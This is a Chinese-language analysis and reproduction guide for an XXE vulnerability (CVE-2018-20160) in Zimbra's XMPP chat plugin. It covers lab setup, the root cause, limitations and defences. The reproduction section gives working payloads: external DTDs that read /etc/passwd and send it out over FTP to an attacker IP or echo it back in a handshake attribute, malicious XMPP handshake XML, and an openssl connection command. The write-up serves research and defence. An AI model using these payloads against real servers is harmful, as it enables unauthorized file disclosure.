Zimbra XMPP XXE 复现
字数 1119 2025-08-29 08:32:18

Zimbra XMPP XXE漏洞分析与复现指南

漏洞概述

本文档详细分析Zimbra XMPP组件中的XXE(XML External Entity)漏洞(CVE-2018-20160),该漏洞存在于Zimbra-chat插件中,允许攻击者通过特制的XMPP协议请求读取服务器上的任意文件。

漏洞背景

  • 受影响版本:Zimbra 8.7.x和8.8.9之前的版本
  • 补丁情况
    • Zimbra-chat插件通过apt自动更新修复
    • 8.7.x版本的AutoDiscovers XXE需要手动安装补丁
  • 相关资源

环境搭建

基础环境

使用Docker镜像jorgedlcruz/zimbra作为基础,该镜像基于Zimbra 8.7.11版本。

安装步骤

  1. 修改安装包源为8.8.9版本:

    https://files.zimbra.com/downloads/8.8.9_GA/zcs-8.8.9_GA_3019.UBUNTU16_64.20180809160254.tgz
    
  2. 解压后删除utils/globals.sh文件中的zimbra-patch行,防止自动更新

  3. 安装时不能使用8.7.11的输入重定向方法

  4. 降级zimbra-chat插件:

    apt-get install zimbra-chat=2.0.1.1532356008-1.u16su
    zimbrazmmailboxdctl restart
    

漏洞分析

技术背景

  • XMPP协议基于XML,采用流式XML解析
  • 漏洞位于/opt/zimbra/lib/openchat目录下的代码
  • 使用XMLStreamReader接口进行解析

漏洞原理

攻击者可以通过构造恶意的XMPP握手请求,利用XML外部实体注入读取服务器文件。

漏洞复现

方法一:Client to Server攻击

  1. 准备DTD文件(存储在外部服务器如pastebin):

    <!ENTITY % payload SYSTEM "file:///etc/passwd">
    <!ENTITY % param1 "<!ENTITY &#37; send SYSTEM 'ftp://192.168.252.1/%payload;'> ">
    %param1;
    
  2. 使用openssl连接XMPP服务:

    openssl s_client -connect 192.168.252.139:5222 -starttls xmpp --debug
    
  3. 发送恶意握手报文:

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtd233">
    %remote;
    %send;
    ]>
    <stream:stream xmlns="jabber:client" version="1.0" 
    xmlns:stream="http://etherx.jabber.org/streams" 
    to="zimbra.io" xml:lang="zh">
    

方法二:Server to Server攻击

  1. 准备DTD文件:

    <!ENTITY % payload SYSTEM "file:///etc/passwd">
    <!ENTITY % param1 "<!ENTITY internal '%payload;'> ">
    
  2. 发送握手包(目标服务不存在时会将to属性内容回显):

    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE root [
    <!ENTITY % remote SYSTEM "https://pastebin.com/raw/dtdurl">
    %remote;
    %param1;
    ]>
    <stream:stream xmlns:stream='http://etherx.jabber.org/streams' 
    xmlns='jabber:server' 
    xmlns:db='jabber:server:dialback' 
    to='&internal;' 
    from='zimbra.io' 
    xml:lang='en' 
    version='1.0'>
    

限制与注意事项

  1. 读取限制

    • 由于数据通过XML属性传递,无法读取包含<&(实体定义除外)的文件
    • 例如localconfig.xml这类文件可能无法完整读取
  2. Java版本影响

    • 新版本Java会拦截多行命令,但不影响此漏洞利用
    • FTP协议中的换行符可能导致Java抛出异常
  3. 认证后利用

    • 可以通过message标签发送消息来读取XML文件
    • 需要进一步研究starttls握手后的stream交互

防御措施

  1. 及时更新Zimbra-chat插件
  2. 对于8.7.x版本,手动安装安全补丁
  3. 限制XMPP服务的访问权限
  4. 禁用XML外部实体解析

参考资料

  1. BlackHat EU 2013: XML Out-Of-Band Data Retrieval
  2. XMPP扩展协议XEP-0288
  3. Zimbra其他漏洞分析
  4. Zimbra漏洞分析
Zimbra XMPP XXE漏洞分析与复现指南 漏洞概述 本文档详细分析Zimbra XMPP组件中的XXE(XML External Entity)漏洞(CVE-2018-20160),该漏洞存在于Zimbra-chat插件中,允许攻击者通过特制的XMPP协议请求读取服务器上的任意文件。 漏洞背景 受影响版本 :Zimbra 8.7.x和8.8.9之前的版本 补丁情况 : Zimbra-chat插件通过apt自动更新修复 8.7.x版本的AutoDiscovers XXE需要手动安装补丁 相关资源 : Zimbra安全公告 Zimbra 8.8.9 P9发布说明 环境搭建 基础环境 使用Docker镜像 jorgedlcruz/zimbra 作为基础,该镜像基于Zimbra 8.7.11版本。 安装步骤 修改安装包源为8.8.9版本: 解压后删除 utils/globals.sh 文件中的 zimbra-patch 行,防止自动更新 安装时不能使用8.7.11的输入重定向方法 降级zimbra-chat插件: 漏洞分析 技术背景 XMPP协议基于XML,采用流式XML解析 漏洞位于 /opt/zimbra/lib/openchat 目录下的代码 使用 XMLStreamReader 接口进行解析 漏洞原理 攻击者可以通过构造恶意的XMPP握手请求,利用XML外部实体注入读取服务器文件。 漏洞复现 方法一:Client to Server攻击 准备DTD文件(存储在外部服务器如pastebin): 使用openssl连接XMPP服务: 发送恶意握手报文: 方法二:Server to Server攻击 准备DTD文件: 发送握手包(目标服务不存在时会将to属性内容回显): 限制与注意事项 读取限制 : 由于数据通过XML属性传递,无法读取包含 < 和 & (实体定义除外)的文件 例如 localconfig.xml 这类文件可能无法完整读取 Java版本影响 : 新版本Java会拦截多行命令,但不影响此漏洞利用 FTP协议中的换行符可能导致Java抛出异常 认证后利用 : 可以通过message标签发送消息来读取XML文件 需要进一步研究starttls握手后的stream交互 防御措施 及时更新Zimbra-chat插件 对于8.7.x版本,手动安装安全补丁 限制XMPP服务的访问权限 禁用XML外部实体解析 参考资料 BlackHat EU 2013: XML Out-Of-Band Data Retrieval XMPP扩展协议XEP-0288 Zimbra其他漏洞分析 Zimbra漏洞分析